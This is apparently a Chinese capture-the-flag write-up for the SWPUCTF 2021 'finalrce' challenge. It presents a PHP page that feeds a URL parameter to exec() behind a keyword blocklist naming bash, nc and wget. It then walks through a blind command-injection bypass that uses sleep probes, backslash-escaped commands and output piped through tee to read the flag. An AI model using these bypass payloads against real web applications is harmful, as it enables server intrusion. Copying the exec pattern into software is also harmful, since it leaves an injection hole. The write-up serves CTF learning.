[SWPUCTF 2021 新生赛]finalrce

<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
    $url=$_GET['url'];
    if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
    {
        echo "Sorry,you can't use this.";
    }
    else
    {
        echo "Can you see anything?";
        exec($url);
    }
}

从上到下分析

先是一个正则匹配,再到一个exec执行命令的函数

exec函数是一个PHP内置的外部命令执行程序。它可以在服务器上执行任何可执行文件或命令，并在执行过程中返回输出。

 这里很明显是waf绕过命令执行，但是在尝试执行命令后没有回显并出现Can you see anything?

 这就明显是无回显RCE,先执行timeup;sleep 3试试看

发现延迟了，说明就是没有回显

这里用一个linux的一个命令tee

tee命令的功能是用于读取标准输入的数据，将其内容转交到标准输出设备中，同时保存成文件。

tee命令 – 读取标准输入的数据 – Linux命令大全(手册) (linuxcool.com) 

 利用这个命令让执行后的内容存到一个文件下然后去访问这个文件，从而实现间接的命令执行

先查看一下目录再利用管道符连接

?url=l\s / | tee a.txt

这里要注意格式,ls后一定要加/ 不然返回的是刚刚存入的文件 

 

 发现flllllaaaaaaggggggg

利用同样的方式读取flag即可

这里绕过了cat可以使用ca\t nl sort tac tail等代替读取,另外因为过滤la所以是flllll\aaaaaaggggggg

tail /flllll\aaaaaaggggggg | tee a.txt

 访问即可

总结:

 利用linux命令tee可以绕过无回显RCE